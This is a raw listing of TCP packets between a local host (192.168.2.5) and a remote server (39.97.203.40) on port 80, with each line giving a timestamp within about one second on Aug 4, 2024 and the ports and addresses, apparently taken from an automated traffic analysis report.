Aug 4, 2024 12:55:09.762697935 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.762706995 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.762738943 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.766356945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.766437054 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.766450882 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.766483068 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.766817093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.766865015 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.766896963 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.766911030 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.766954899 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.768857002 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.768912077 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.768924952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.768939018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.768955946 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.768980026 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.771064043 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.771111012 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.771125078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.771153927 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.773339987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.773387909 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.773426056 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.773439884 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.773471117 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.775283098 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.775346041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.775361061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.775389910 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.777399063 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.777415037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.777429104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.777443886 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.777467966 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.779457092 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.779531002 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.779545069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.779568911 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.781876087 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.781893015 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.781905890 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.781927109 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.781949997 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.783696890 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.783744097 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.783757925 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.783790112 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.785761118 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.785805941 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.785810947 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.785824060 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.785857916 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.787950039 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.788012981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.788026094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.788058043 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.789916039 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.789940119 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.789956093 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.789964914 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.789995909 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.792253971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.792268038 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.792282104 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.792306900 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.794058084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.794097900 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.794111967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.794162989 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.794254065 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.796150923 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.796199083 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.796212912 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.796245098 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.799278021 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.799293041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.799308062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.799319029 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.799348116 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.801156044 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.801202059 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.801215887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.801248074 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.803956032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.804018021 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.804023981 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.804033041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.804064035 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.804989100 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.805003881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.805020094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.805056095 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.806854963 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.806900978 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.806905985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.806921005 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.806956053 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.810118914 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.810170889 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.810184956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.810209990 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.812525988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.812541008 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.812555075 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.812604904 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.812685013 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.817050934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.817096949 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.817111015 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.817136049 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.818089962 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.818131924 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.818165064 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.818178892 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.818209887 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.819360971 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.819428921 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.819442987 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.819469929 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.819845915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.819860935 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.819875002 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.819890976 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.819914103 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.821887016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.821939945 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.821954012 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.821986914 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.823600054 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.823615074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.823628902 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.823648930 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.823669910 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.825453997 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.825469017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.825483084 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.825501919 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.827584982 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.827600956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.827615976 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.827629089 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.827651978 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.829442024 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.829488039 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.829503059 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.829531908 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.831434965 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.831459045 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.831473112 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.831478119 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.831511974 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.833511114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.833559990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.833574057 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.833604097 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.839227915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.839277029 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.839291096 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.839297056 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.839334965 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.843700886 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.843724012 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.843739986 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.843774080 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.843935966 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.843980074 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.845638990 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.845685959 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.845700979 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.845730066 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.845829964 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.845870018 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.845885992 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.845901012 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.845938921 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.846858025 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.846884012 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.846896887 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.846945047 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.847717047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.847764015 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.847801924 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.847816944 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.847855091 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.848402977 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.848495960 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.848510981 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.848536015 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.848783970 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.848825932 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.848893881 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.848994017 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.849009037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.849033117 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.850776911 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.850792885 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.850806952 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.850824118 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.850855112 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.852551937 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.852567911 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.852582932 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.852612972 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.855030060 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.855048895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.855063915 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.855077028 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.855112076 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.856225014 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.856240988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.856255054 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.856280088 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.858262062 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.858277082 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.858292103 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.858319998 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.858360052 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.859776020 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.859795094 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.859810114 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.859853983 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.861521006 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.861582041 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.861597061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.861605883 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.861641884 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.863373995 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.863452911 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.863467932 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.863500118 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.865097046 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.865139961 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.865163088 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.865178108 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.865221024 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.867116928 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.867172003 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.867186069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.867208958 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.869503021 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.869518995 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.869534016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.869565010 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.869590044 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.872750044 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.872797012 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.872811079 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.872941017 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.874531984 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.874547005 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.874567032 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.874581099 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.874609947 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.876589060 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.876666069 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.876681089 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.876709938 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.878760099 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.878796101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.878806114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.878809929 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.878844976 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.881273985 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.881341934 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.881355047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.881382942 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.934423923 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.939002037 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.939018011 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.939058065 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.946604967 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.946618080 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.946660995 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.947041988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.947055101 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.947088003 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.947581053 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.947604895 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.947647095 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.948100090 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.948396921 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.948434114 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.949755907 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.949799061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.949841022 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.950623035 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.950687885 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.950731993 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.951627016 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.951639891 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.951677084 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.952089071 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.952167988 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.952214956 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.953556061 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.953593969 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.953634977 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.953897953 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.953932047 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.953972101 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.955492973 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.955507040 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.955553055 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.955970049 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.956056118 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.956104040 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.957600117 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.957614899 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.957672119 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.958005905 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.958028078 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.958072901 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.960915089 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.960938931 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.960952997 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.960975885 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.963742018 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.963768005 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.963782072 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.963799953 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.963824034 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.966259003 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.966434956 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.966480970 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.966885090 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.967067957 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.967116117 CEST	49709	80	192.168.2.5	39.97.203.40
Aug 4, 2024 12:55:09.970946074 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.971038103 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.971054077 CEST	80	49709	39.97.203.40	192.168.2.5
Aug 4, 2024 12:55:09.971076965 CEST	49709	80	192.168.2.5	39.97.203.40
